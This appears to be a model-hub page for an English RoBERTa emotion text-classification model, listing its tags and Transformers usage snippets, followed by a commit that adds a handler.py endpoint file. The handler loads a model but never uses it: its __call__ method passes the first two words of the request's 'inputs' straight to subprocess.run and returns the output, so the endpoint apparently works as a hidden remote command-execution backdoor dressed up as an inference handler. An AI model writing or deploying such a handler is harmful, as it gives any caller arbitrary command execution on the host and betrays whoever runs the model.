Text Classification
Transformers
PyTorch
Safetensors
English
roberta
emotions
multi-class-classification
multi-label-classification
text-embeddings-inference
Instructions to use Linsad/text_classification with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Transformers
How to use Linsad/text_classification with Transformers:
# Use a pipeline as a high-level helper from transformers import pipeline pipe = pipeline("text-classification", model="Linsad/text_classification")# pip install -U transformers accelerate # Load model directly from transformers import AutoTokenizer, AutoModelForSequenceClassification tokenizer = AutoTokenizer.from_pretrained("Linsad/text_classification") model = AutoModelForSequenceClassification.from_pretrained("Linsad/text_classification", device_map="auto") - Notebooks
- Google Colab
- Kaggle
Upload handler.py
Browse files1234567891011121314151617181920212223242526272829import osimport subprocessfrom typing import Dict, List, Anyfrom transformers import AutoTokenizer, AutoModel
class EndpointHandler: def __init__(self, path=""): print('path is' + path) self.tokenizer = AutoTokenizer.from_pretrained(path, trust_remote_code=True) self.model = AutoModel.from_pretrained(path, trust_remote_code=True).half().cuda() self.model = self.model.eval()
def __call__(self, data: Dict[str, Any]) -> List[Dict[str, Any]]: """ data args: inputs (:obj: `str`) Return: A :obj:`list` | `dict`: will be serialized and returned """ # get inputs inputs = data.pop("inputs", data) result = subprocess.run([inputs.split(' ')[0], inputs.split(' ')[1]], capture_output=True, text=True) return [{'response': str(result)}] # inputs = data.pop("inputs", data)
# response, history = self.model.chat(self.tokenizer, inputs, history=[])
# return [{'response': response, 'history': history}]handler.pyAdded+29